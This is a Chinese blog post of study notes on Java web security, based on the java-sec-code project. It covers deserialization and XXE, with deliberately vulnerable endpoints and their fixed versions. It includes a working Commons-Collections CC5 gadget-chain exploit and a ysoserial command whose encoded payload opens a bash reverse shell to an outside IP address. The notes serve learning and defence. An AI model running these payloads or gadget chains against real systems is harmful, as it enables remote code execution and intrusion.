美文网首页
学习笔记-java相关

学习笔记-java相关

作者: byc_404 | 来源:发表于2020-07-09 18:03 被阅读0次

    从几个月前就说要学javaweb。结果一直在拖。现在开篇文章强迫自己写写笔记。

    大体上打算从常见漏洞和框架使用两个方面学习。因为有语言基础就不谈比较基础的部分了。

    vulns

    java比较常见的有特色的漏洞包括但不限于

    • deserialization
    • xxe
    • SpEL
    • ssti
    • url bypass
      ......

    这里用JoyChou大佬的项目学习 https://github.com/JoyChou93/java-sec-code
    非常全面。

    每种漏洞都有对应的源码。原先很多反序列的洞复现过但是没有看过源码。这里正好研究下。

    deserialization

    恶意及防范源码

    package org.joychou.controller;
    
    import org.joychou.config.Constants;
    import org.joychou.security.AntObjectInputStream;
    import org.slf4j.Logger;
    import org.slf4j.LoggerFactory;
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.RestController;
    
    import javax.servlet.http.Cookie;
    import javax.servlet.http.HttpServletRequest;
    import java.io.ByteArrayInputStream;
    import java.io.IOException;
    import java.io.InvalidClassException;
    import java.io.ObjectInputStream;
    import java.util.Base64;
    
    import static org.springframework.web.util.WebUtils.getCookie;
    
    /**
     * Deserialize RCE using Commons-Collections gadget.
     *
     * @author JoyChou @2018-06-14
     */
    @RestController
    @RequestMapping("/deserialize")
    public class Deserialize {
    
        protected final Logger logger = LoggerFactory.getLogger(this.getClass());
    
        /**
         * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64
         * Add the result to rememberMe cookie.
         * <p>
         * http://localhost:8080/deserialize/rememberMe/vuln
         */
        @RequestMapping("/rememberMe/vuln")
        public String rememberMeVul(HttpServletRequest request)
                throws IOException, ClassNotFoundException {
    
            Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
    
            if (null == cookie) {
                return "No rememberMe cookie. Right?";
            }
    
            String rememberMe = cookie.getValue();
            byte[] decoded = Base64.getDecoder().decode(rememberMe);
    
            ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);
            ObjectInputStream in = new ObjectInputStream(bytes);
            in.readObject();
            in.close();
    
            return "Are u ok?";
        }
    
        /**
         * Check deserialize class using black list.
         * <p>
         * http://localhost:8080/deserialize/rememberMe/security
         */
        @RequestMapping("/rememberMe/security")
        public String rememberMeBlackClassCheck(HttpServletRequest request)
                throws IOException, ClassNotFoundException {
    
            Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
    
            if (null == cookie) {
                return "No rememberMe cookie. Right?";
            }
            String rememberMe = cookie.getValue();
            byte[] decoded = Base64.getDecoder().decode(rememberMe);
    
            ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);
    
            try {
                AntObjectInputStream in = new AntObjectInputStream(bytes);  // throw InvalidClassException
                in.readObject();
                in.close();
            } catch (InvalidClassException e) {
                logger.info(e.toString());
                return e.toString();
            }
    
            return "I'm very OK.";
        }
    
    }
    

    这里应该是模仿shiro的rememberMecookie反序列化.下面先来回顾下java的序列化知识

    https://www.mi1k7ea.com/2019/02/03/Java%E5%BA%8F%E5%88%97%E5%8C%96%E5%92%8C%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%9C%BA%E5%88%B6/

    • about

    Java 提供了一种对象序列化的机制:一个对象可以被表示为一个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型。将序列化对象写入文件之后,可以从文件中读取出来,并且对它进行反序列化,也就是说,对象的类型信息、对象的数据,还有对象中的数据类型可以用来在内存中新建对象。整个过程都是JVM独立的,也就是说,在一个平台上序列化的对象可以在另一个完全不同的平台上反序列化该对象。

    • usage

    1.弥补操作系统的差异
    2.向远程对象发送信息时,需要通过对象序列化来传输参数和返回值
    3.使用一个Bean时,一般情况下是在设计阶段对它的状态信息进行配置,然而这种状态信息需要保存下来,并在程序启动时进行后期恢复,这时是靠反序列化机制来完成的
    4.方便保存对象信息以便于下次JVM启动时可以直接使用。

    • dependencies

    1.实现 java.io.Serializable 对象
    2.该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的。

    下面是一个练手的例子。
    User类

    import java.io.*;
    
    public class User implements Serializable {
        public String name;
        public int num;
        public void info(){
            System.out.println("name : "+name+"\nnum : "+num);
        }
    }
    

    test类

    import java.io.*;
    
    
    public class test {
        public static  void serialize_test(){
            User user=new User();
            user.name="byc_404";
            user.num=404;
            user.info();
    
            try {
                FileOutputStream f= new FileOutputStream("user.ser");
                ObjectOutputStream o =new ObjectOutputStream(f);
    
                o.writeObject(user);
                o.close();
                f.close();
                System.out.println("[*]serialize done.");
            } catch (IOException e) {
                e.printStackTrace();
            }
    
        }
    
        public static  void unserialize_test(){
            User user=null;
            try {
                FileInputStream f= new FileInputStream("user.ser");
                ObjectInputStream o =new ObjectInputStream(f);
                user=(User)o.readObject();
                o.close();
                f.close();
            } catch (IOException e) {
                e.printStackTrace();
            } catch (ClassNotFoundException e) {
                e.printStackTrace();
            }
            System.out.println("[*]unserialize done.");
            user.info();
        }
    
    
        public static void main(String[] args) {
            unserialize_test();
        }
    
    }
    

    首先注意上面的语句直接调用读写文件时都需要实现trycatch。而readobject时特殊的添加了一个ClassNotFound 的异常。在idea中写好原代码后ctrl+alt+t添加会自动考虑到这些问题,
    生成的user.ser的数据

    开头AC ED 表示支持序列化协议。00 05 则是序列化版本。这是序列化数据比较显著的特征。

    由于编程中的选择原因,有时需要我们实现非默认的序列化过程。此时可以在实现了Serializable接口的前提下添加两个方法

    private void writeObject(ObjectOutputStream stream) throws IOException
    
    private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException
    

    在调用ObjectOutputStream.writeObject()时,会检查所传递的Serializable对象,看看是否实现了自己的writeObject(),若实现了,则跳过正常的序列化过程并调用自己实现的writeObject()。readObject()方法同理

    那么回到远程。这里直接打一发弹shell的payload。去jackson直接转换下编码

    java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjAuMjcuMjQ2LjIwMi85MDAxIDA+JjE=}|{base64,-d}|{bash,-i}" | base64
    

    这环境貌似是只有cc5的gadget能用.后来在原作者那看到应该是引入了apache-commons-collections 3.1.jar


    • CommonCollections 审计

    下面正好来审计下Commons-Collections这个包。https://mvnrepository.com/artifact/commons-collections/commons-collections/3.1

    在这下好jar包后把它加进library.就可以看源码了。
    漏洞代码出现在这一部分。


    TransformedMap类是实现了serializable,对Java标准数据结构Map接口的一个扩展TransformedMap.decorate()方法,可以获得一个TransformedMap的实例化的对象。

    TransformedMap.decorate()方法能将普通的MapA转换为TransformedMapB,同时如果TransformedMap.decorate()方法设置了第二个参数keyTransformer或者第三个参数valueTransformer,当TransformedMapB调用Map的put方法或者Map.Entry的setValue方法就会自动触发刚才设置的keyTransformer或者valueTransformer相应的Transformer

    Map.put与Map.Entry其实就是Map的两个比较常见的接口。前者可以往map中设置一对键值。后者则是定义了getKey(),getValue(),setKey(),setValue()等方法可以用来获取修改键值。

    牛逼的是这个Transformer可以利用数组构造成ChainedTransformer,ChainedTransformer最后利用Java的反射机制命令执行。

    关于反射命令执行。这个算是java非常常见的命令技巧了。在SpEL跟Spring 的ssti中经常见到。主要目的就是绕过沙盒。当然如php的序列化中也曾经遇到过.这算是Java动态特性的体现。

    一个弹计算器的反射payload

    import java.lang.reflect.Method;
    
    public class reflect {
        public static void main(String[] args) throws Exception {
            Object input = Runtime.class;
            Class cls = input.getClass();
            Method method = cls.getMethod("getMethod", new Class[] { String.class, Class[].class });
            input = method.invoke(input, new Object[] { "getRuntime", new Class[0] });
    
            // 此时cls为Method,对应getRuntime方法,获取invoke方法并执行
            cls = input.getClass();
            method = cls.getMethod("invoke", new Class[] { Object.class, Object[].class });
            input = method.invoke(input, new Object[] { null, new Object[0] });
    
            // 此时cls为Runtime,对应Runtime.getRuntime()的结果,可调用exec方法
            cls = input.getClass();
            method = cls.getMethod("exec", new Class[] { String.class });
            input = method.invoke(input, new Object[] { "calc" });
        }
    }
    

    下面来跟着JoyChou师傅的博文看看Map.put是怎么通过构造达成命令执行的。

    import java.util.HashMap;
    import java.util.Map;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.TransformedMap;
    
    public class poc1 {
        public static void main(String[] args) {
    
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})};
    
            Transformer transformerChain = new ChainedTransformer(transformers);
    
            Map innermap = new HashMap();
    
            innermap.put("name", "byc_404");
    
            Map outmap = TransformedMap.decorate(innermap, transformerChain, null);
            outmap.put("quote","23333");
        }
    }
    

    在put()方法那下一个断点。第一步是调用TransformedMap.put()方法


    然后进行一个keyTransformer是否为空的判断。我们因为设置了ChainedTransformer作为keyTransformer,因此接下来是调用ChainedTransformer.transform()


    可以看到下面的this就是ChainedTransformer对象。
    然后这个for循环会总共调用四次transform(),调用1次ConstantTransformer.transform()方法,然后调用3次InvokerTransformer.transform()

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
            this.iMethodName = methodName;
            this.iParamTypes = paramTypes;
            this.iArgs = args;
        }
    
        public Object transform(Object input) {
            if (input == null) {
                return null;
            } else {
                try {
                    Class cls = input.getClass();
                    Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                    return method.invoke(input, this.iArgs);
                } catch (NoSuchMethodException var5) {
                    throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
                } catch (IllegalAccessException var6) {
                    throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
                } catch (InvocationTargetException var7) {
                    throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
                }
            }
        }
    }
    

    到这一步已经能看出我们构造函数的参数已经控制InvokerTransformer反射的参数了。达成命令执行。
    gadget

    TransformedMap.put()
        =>TransformedMap.transformKey()
            =>ChainedTransformer.transform()
               =>ConstantTransformer.transform()
                  =>InvokerTransformer.transform()
                        =>Method.invoke()
                            Class.getMethod()
                  =>InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.getRuntime()
                  =>InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.exec()
    

    Map.Entry的poc我就不跟了。基本上是一样的机理。

    接下来也就是CommonCollections的gadget了。上面我们知道,我们可以利用Map类的对象进行反射的payload构造。那么我们恶意类的成员肯定是Map类的。并且由于反序列化的要求,这个类重写了readObject(),并且在readObject()中调用了put()或者setValue()

    在不同jdk版本中我们能找到的符合要求的类不同。目前比较新的应该是用BadAttributeValueExpException+TiedMapEntry+lazyMap+ChainedTransformer的链子
    先来看下BadAttributeValueExpException

    public class BadAttributeValueExpException extends Exception   {
    
    
        /* Serial version */
        private static final long serialVersionUID = -3105272988410493376L;
    
        /**
         * @serial A string representation of the attribute that originated this exception.
         * for example, the string value can be the return of {@code attribute.toString()}
         */
        private Object val;
    
        /**
         * Constructs a BadAttributeValueExpException using the specified Object to
         * create the toString() value.
         *
         * @param val the inappropriate value.
         */
        public BadAttributeValueExpException (Object val) {
            this.val = val == null ? null : val.toString();
        }
    
    
        /**
         * Returns the string representing the object.
         */
        public String toString()  {
            return "BadAttributeValueException: " + val;
        }
    
        private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
            ObjectInputStream.GetField gf = ois.readFields();
            Object valObj = gf.get("val", null);
    
            if (valObj == null) {
                val = null;
            } else if (valObj instanceof String) {
                val= valObj;
            } else if (System.getSecurityManager() == null
                    || valObj instanceof Long
                    || valObj instanceof Integer
                    || valObj instanceof Float
                    || valObj instanceof Double
                    || valObj instanceof Byte
                    || valObj instanceof Short
                    || valObj instanceof Boolean) {
                val = valObj.toString();
            } else { // the serialized object is from a version without JDK-8019292 fix
                val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
            }
        }
     }
    

    从BadAttributeValueExpException类的readObejct()方法知道,val.toString()是整个readObject()的重点。现在需要一个类,能在调用toString()方法时触发transform()方法来执行我们构造的反射链

    找到LazyMap的get()方法。与php的魔术方法一样,可以在调用不存在的key时来执行一个方法生成key.

        public Object get(Object key) {
            if (!super.map.containsKey(key)) {
                Object value = this.factory.transform(key);
                super.map.put(key, value);
                return value;
            } else {
                return super.map.get(key);
            }
        }
    

    最后是TiedMapEntry类

    //
    // Source code recreated from a .class file by IntelliJ IDEA
    // (powered by Fernflower decompiler)
    //
    
    package org.apache.commons.collections.keyvalue;
    
    import java.io.Serializable;
    import java.util.Map;
    import java.util.Map.Entry;
    import org.apache.commons.collections.KeyValue;
    
    public class TiedMapEntry implements Entry, KeyValue, Serializable {
        private static final long serialVersionUID = -8453869361373831205L;
        private final Map map;
        private final Object key;
    
        public TiedMapEntry(Map map, Object key) {
            this.map = map;
            this.key = key;
        }
    
        public Object getKey() {
            return this.key;
        }
    
        public Object getValue() {
            return this.map.get(this.key);
        }
    
        public Object setValue(Object value) {
            if (value == this) {
                throw new IllegalArgumentException("Cannot set value to this map entry");
            } else {
                return this.map.put(this.key, value);
            }
        }
    
        public boolean equals(Object obj) {
            if (obj == this) {
                return true;
            } else if (!(obj instanceof Entry)) {
                return false;
            } else {
                Entry other = (Entry)obj;
                Object value = this.getValue();
                return (this.key == null ? other.getKey() == null : this.key.equals(other.getKey())) && (value == null ? other.getValue() == null : value.equals(other.getValue()));
            }
        }
    
        public int hashCode() {
            Object value = this.getValue();
            return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
        }
    
        public String toString() {
            return this.getKey() + "=" + this.getValue();
        }
    }
    

    它在调用toString()时,实际上调用了getValue()即map.get(key)。这样它就符合上面Lazymap的要求了。
    那么gadget就是

    BadAttributeValueExpException.readObject()//其val为TiedMapEntry
      =>TiedMapEntry.toString()=>TiedMapEntry.getValue()//其map对象是LazyMap
        =>LazyMap.get()//其factory对象是ChainedTransformer
          =>ChainedTransformer.transform()
    

    最终的exp.也是cc5的链子

    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    
    import javax.management.BadAttributeValueExpException;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.HashMap;
    import java.util.Map;
    
    public class exp {
        public static void main(String[] args) throws Exception {
            Transformer[] transformers = new Transformer[] {
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
                    new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"}),
                    new ConstantTransformer("1")
            };
            Transformer transformChain = new ChainedTransformer(transformers);
    
            Map innerMap = new HashMap();
            Map lazyMap = LazyMap.decorate(innerMap, transformChain);
            TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo233");
    
            BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
            Field valField = exception.getClass().getDeclaredField("val");
            valField.setAccessible(true);
            valField.set(exception, entry);
    
            File f = new File("poc");
            ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
            out.writeObject(exception);
            out.flush();
            out.close();
    
            ObjectInputStream in = new ObjectInputStream(new FileInputStream("poc"));
            in.readObject();  // 触发漏洞
            in.close();
        }
    }
    

    done.

    • 防御机制

    从demo的安全代码部分就能看出。使用了AntObjectInputStream与InvalidClassException来进行黑/白名单的防范。具体可以看其自定义的代码 https://github.com/JoyChou93/java-sec-code/blob/master/src/main/java/org/joychou/security/AntObjectInputStream.java
    直接Hook java/io/ObjectInputStream类的resolveClass方法

    //今天先写这么多吧,好久没写java写起来还挺怀念的。

    XXE

    XXE在java-sec-code项目中被分为了两个部分。普通XXE与POI ooxml XXE.我们先从基础的看起。

    
    package org.joychou.controller;
    
    import org.dom4j.DocumentHelper;
    import org.dom4j.io.SAXReader;
    import org.slf4j.Logger;
    import org.slf4j.LoggerFactory;
    import org.springframework.web.bind.annotation.*;
    
    import javax.servlet.http.HttpServletRequest;
    
    import org.w3c.dom.Document;
    import org.w3c.dom.Node;
    import org.w3c.dom.NodeList;
    import org.xml.sax.helpers.XMLReaderFactory;
    import org.xml.sax.XMLReader;
    
    import java.io.*;
    
    import org.xml.sax.InputSource;
    
    import javax.xml.parsers.DocumentBuilder;
    import javax.xml.parsers.DocumentBuilderFactory;
    import javax.xml.parsers.SAXParserFactory;
    import javax.xml.parsers.SAXParser;
    
    import org.xml.sax.helpers.DefaultHandler;
    import org.apache.commons.digester3.Digester;
    import org.jdom2.input.SAXBuilder;
    import org.joychou.util.WebUtils;
    
    /**
     * Java xxe vuln and security code.
     *
     * @author JoyChou @2017-12-22
     */
    
    @RestController
    @RequestMapping("/xxe")
    public class XXE {
    
        private static Logger logger = LoggerFactory.getLogger(XXE.class);
        private static String EXCEPT = "xxe except";
    
        @PostMapping("/xmlReader/vuln")
        public String xmlReaderVuln(HttpServletRequest request) {
            try {
                String body = WebUtils.getRequestBody(request);
                logger.info(body);
                XMLReader xmlReader = XMLReaderFactory.createXMLReader();
                xmlReader.parse(new InputSource(new StringReader(body)));  // parse xml
                return "xmlReader xxe vuln code";
            } catch (Exception e) {
                logger.error(e.toString());
                return EXCEPT;
            }
        }
    
    
        @RequestMapping(value = "/xmlReader/sec", method = RequestMethod.POST)
        public String xmlReaderSec(HttpServletRequest request) {
            try {
                String body = WebUtils.getRequestBody(request);
                logger.info(body);
    
                XMLReader xmlReader = XMLReaderFactory.createXMLReader();
                // fix code start
                xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
                xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
                xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
                //fix code end
                xmlReader.parse(new InputSource(new StringReader(body)));  // parse xml
    
            } catch (Exception e) {
                logger.error(e.toString());
                return EXCEPT;
            }
    
            return "xmlReader xxe security code";
        }
    
    
        @RequestMapping(value = "/SAXBuilder/vuln", method = RequestMethod.POST)
        public String SAXBuilderVuln(HttpServletRequest request) {
            try {
                String body = WebUtils.getRequestBody(request);
                logger.info(body);
    
                SAXBuilder builder = new SAXBuilder();
                // org.jdom2.Document document
                builder.build(new InputSource(new StringReader(body)));  // cause xxe
                return "SAXBuilder xxe vuln code";
            } catch (Exception e) {
                logger.error(e.toString());
                return EXCEPT;
            }
        }
    
        @RequestMapping(value = "/SAXBuilder/sec", method = RequestMethod.POST)
        public String SAXBuilderSec(HttpServletRequest request) {
            try {
                String body = WebUtils.getRequestBody(request);
                logger.info(body);
    
                SAXBuilder builder = new SAXBuilder();
                builder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
                builder.setFeature("http://xml.org/sax/features/external-general-entities", false);
                builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
                // org.jdom2.Document document
                builder.build(new InputSource(new StringReader(body)));
    
            } catch (Exception e) {
                logger.error(e.toString());
                return EXCEPT;
            }
    
            return "SAXBuilder xxe security code";
        }
    
        @RequestMapping(value = "/SAXReader/vuln", method = RequestMethod.POST)
        public String SAXReaderVuln(HttpServletRequest request) {
            try {
                String body = WebUtils.getRequestBody(request);
                logger.info(body);
    
                SAXReader reader = new SAXReader();
                // org.dom4j.Document document
                reader.read(new InputSource(new StringReader(body))); // cause xxe
    
            } catch (Exception e) {
                logger.error(e.toString());
                return EXCEPT;
            }
    
            return "SAXReader xxe vuln code";
        }
    
        @RequestMapping(value = "/SAXReader/sec", method = RequestMethod.POST)
        public String SAXReaderSec(HttpServletRequest request) {
            try {
                String body = WebUtils.getRequestBody(request);
                logger.info(body);
    
                SAXReader reader = new SAXReader();
                reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
                reader.setFeature("http://xml.org/sax/features/external-general-entities", false);
                reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
                // org.dom4j.Document document
                reader.read(new InputSource(new StringReader(body)));
            } catch (Exception e) {
                logger.error(e.toString());
                return EXCEPT;
            }
            return "SAXReader xxe security code";
        }
    
        @RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
        public String SAXParserVuln(HttpServletRequest request) {
            try {
                String body = WebUtils.getRequestBody(request);
                logger.info(body);
    
                SAXParserFactory spf = SAXParserFactory.newInstance();
                SAXParser parser = spf.newSAXParser();
                parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml
    
                return "SAXParser xxe vuln code";
            } catch (Exception e) {
                logger.error(e.toString());
                return EXCEPT;
            }
        }
    
    
        @RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
        public String SAXParserSec(HttpServletRequest request) {
            try {
                String body = WebUtils.getRequestBody(request);
                logger.info(body);
    
                SAXParserFactory spf = SAXParserFactory.newInstance();
                spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
                spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
                spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
                SAXParser parser = spf.newSAXParser();
                parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml
            } catch (Exception e) {
                logger.error(e.toString());
                return EXCEPT;
            }
            return "SAXParser xxe security code";
        }
    
    
        @RequestMapping(value = "/Digester/vuln", method = RequestMethod.POST)
        public String DigesterVuln(HttpServletRequest request) {
            try {
                String body = WebUtils.getRequestBody(request);
                logger.info(body);
    
                Digester digester = new Digester();
                digester.parse(new StringReader(body));  // parse xml
            } catch (Exception e) {
                logger.error(e.toString());
                return EXCEPT;
            }
            return "Digester xxe vuln code";
        }
    
        @RequestMapping(value = "/Digester/sec", method = RequestMethod.POST)
        public String DigesterSec(HttpServletRequest request) {
            try {
                String body = WebUtils.getRequestBody(request);
                logger.info(body);
    
                Digester digester = new Digester();
                digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
                digester.setFeature("http://xml.org/sax/features/external-general-entities", false);
                digester.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
                digester.parse(new StringReader(body));  // parse xml
    
                return "Digester xxe security code";
            } catch (Exception e) {
                logger.error(e.toString());
                return EXCEPT;
            }
        }
    
    
        // 有回显
        @RequestMapping(value = "/DocumentBuilder/vuln01", method = RequestMethod.POST)
        public String DocumentBuilderVuln01(HttpServletRequest request) {
            try {
                String body = WebUtils.getRequestBody(request);
                logger.info(body);
                DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
                DocumentBuilder db = dbf.newDocumentBuilder();
                StringReader sr = new StringReader(body);
                InputSource is = new InputSource(sr);
                Document document = db.parse(is);  // parse xml
    
                // 遍历xml节点name和value
                StringBuilder buf = new StringBuilder();
                NodeList rootNodeList = document.getChildNodes();
                for (int i = 0; i < rootNodeList.getLength(); i++) {
                    Node rootNode = rootNodeList.item(i);
                    NodeList child = rootNode.getChildNodes();
                    for (int j = 0; j < child.getLength(); j++) {
                        Node node = child.item(j);
                        buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));
                    }
                }
                sr.close();
                return buf.toString();
            } catch (Exception e) {
                logger.error(e.toString());
                return EXCEPT;
            }
        }
    
    
        // 有回显
        @RequestMapping(value = "/DocumentBuilder/vuln02", method = RequestMethod.POST)
        public String DocumentBuilderVuln02(HttpServletRequest request) {
            try {
                String body = WebUtils.getRequestBody(request);
                logger.info(body);
    
                DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
                DocumentBuilder db = dbf.newDocumentBuilder();
                StringReader sr = new StringReader(body);
                InputSource is = new InputSource(sr);
                Document document = db.parse(is);  // parse xml
    
                // 遍历xml节点name和value
                StringBuilder result = new StringBuilder();
                NodeList rootNodeList = document.getChildNodes();
                for (int i = 0; i < rootNodeList.getLength(); i++) {
                    Node rootNode = rootNodeList.item(i);
                    NodeList child = rootNode.getChildNodes();
                    for (int j = 0; j < child.getLength(); j++) {
                        Node node = child.item(j);
                        // 正常解析XML,需要判断是否是ELEMENT_NODE类型。否则会出现多余的的节点。
                        if (child.item(j).getNodeType() == Node.ELEMENT_NODE) {
                            result.append(String.format("%s: %s\n", node.getNodeName(), node.getFirstChild()));
                        }
                    }
                }
                sr.close();
                return result.toString();
            } catch (Exception e) {
                logger.error(e.toString());
                return EXCEPT;
            }
        }
    
    
        @RequestMapping(value = "/DocumentBuilder/Sec", method = RequestMethod.POST)
        public String DocumentBuilderSec(HttpServletRequest request) {
            try {
                String body = WebUtils.getRequestBody(request);
                logger.info(body);
    
                DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
                dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
                dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
                dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
                DocumentBuilder db = dbf.newDocumentBuilder();
                StringReader sr = new StringReader(body);
                InputSource is = new InputSource(sr);
                db.parse(is);  // parse xml
                sr.close();
            } catch (Exception e) {
                logger.error(e.toString());
                return EXCEPT;
            }
            return "DocumentBuilder xxe security code";
        }
    
    
        @RequestMapping(value = "/DocumentBuilder/xinclude/vuln", method = RequestMethod.POST)
        public String DocumentBuilderXincludeVuln(HttpServletRequest request) {
            try {
                String body = WebUtils.getRequestBody(request);
                logger.info(body);
    
                DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
                dbf.setXIncludeAware(true);   // 支持XInclude
                dbf.setNamespaceAware(true);  // 支持XInclude
                DocumentBuilder db = dbf.newDocumentBuilder();
                StringReader sr = new StringReader(body);
                InputSource is = new InputSource(sr);
                Document document = db.parse(is);  // parse xml
    
                NodeList rootNodeList = document.getChildNodes();
                response(rootNodeList);
    
                sr.close();
                return "DocumentBuilder xinclude xxe vuln code";
            } catch (Exception e) {
                logger.error(e.toString());
                return EXCEPT;
            }
        }
    
    
        @RequestMapping(value = "/DocumentBuilder/xinclude/sec", method = RequestMethod.POST)
        public String DocumentBuilderXincludeSec(HttpServletRequest request) {
            try {
                String body = WebUtils.getRequestBody(request);
                logger.info(body);
                DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
    
                dbf.setXIncludeAware(true);   // 支持XInclude
                dbf.setNamespaceAware(true);  // 支持XInclude
                dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
                dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
                dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
    
                DocumentBuilder db = dbf.newDocumentBuilder();
                StringReader sr = new StringReader(body);
                InputSource is = new InputSource(sr);
                Document document = db.parse(is);  // parse xml
    
                NodeList rootNodeList = document.getChildNodes();
                response(rootNodeList);
    
                sr.close();
            } catch (Exception e) {
                logger.error(e.toString());
                return EXCEPT;
            }
            return "DocumentBuilder xinclude xxe vuln code";
        }
    
    
        @PostMapping("/XMLReader/vuln")
        public String XMLReaderVuln(HttpServletRequest request) {
            try {
                String body = WebUtils.getRequestBody(request);
                logger.info(body);
    
                SAXParserFactory spf = SAXParserFactory.newInstance();
                SAXParser saxParser = spf.newSAXParser();
                XMLReader xmlReader = saxParser.getXMLReader();
                xmlReader.parse(new InputSource(new StringReader(body)));
    
            } catch (Exception e) {
                logger.error(e.toString());
                return EXCEPT;
            }
    
            return "XMLReader xxe vuln code";
        }
    
    
        @PostMapping("/XMLReader/sec")
        public String XMLReaderSec(HttpServletRequest request) {
            try {
                String body = WebUtils.getRequestBody(request);
                logger.info(body);
    
                SAXParserFactory spf = SAXParserFactory.newInstance();
                SAXParser saxParser = spf.newSAXParser();
                XMLReader xmlReader = saxParser.getXMLReader();
                xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
                xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);
                xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
                xmlReader.parse(new InputSource(new StringReader(body)));
    
            } catch (Exception e) {
                logger.error(e.toString());
                return EXCEPT;
            }
            return "XMLReader xxe security code";
        }
    
    
        /**
         * 修复该漏洞只需升级dom4j到2.1.1及以上,该版本及以上禁用了ENTITY;
         * 不带ENTITY的PoC不能利用,所以禁用ENTITY即可完成修复。
         */
        @PostMapping("/DocumentHelper/vuln")
        public String DocumentHelper(HttpServletRequest req) {
            try {
                String body = WebUtils.getRequestBody(req);
                DocumentHelper.parseText(body); // parse xml
            } catch (Exception e) {
                logger.error(e.toString());
                return EXCEPT;
            }
    
            return "DocumentHelper xxe vuln code";
        }
    
    
        private static void response(NodeList rootNodeList){
            for (int i = 0; i < rootNodeList.getLength(); i++) {
                Node rootNode = rootNodeList.item(i);
                NodeList xxe = rootNode.getChildNodes();
                for (int j = 0; j < xxe.getLength(); j++) {
                    Node xxeNode = xxe.item(j);
                    // 测试不能blind xxe,所以强行加了一个回显
                    logger.info("xxeNode: " + xxeNode.getNodeValue());
                }
    
            }
        }
    
        public static void main(String[] args)  {
        }
    
    }
    

    从上面的代码可以看出。可导致XXE的xml解析类有许多种。同时进行防范时大多是使用了setFeature()来把某个特性设置为true/false.

    简单的内容同样不谈。这里关于javaxxe的几个特性稍微研究一下。先找个能回显的路由/DocumentBuilder/vuln01

    • java的xxe可列目录。

    file协议,netdoc协议均可

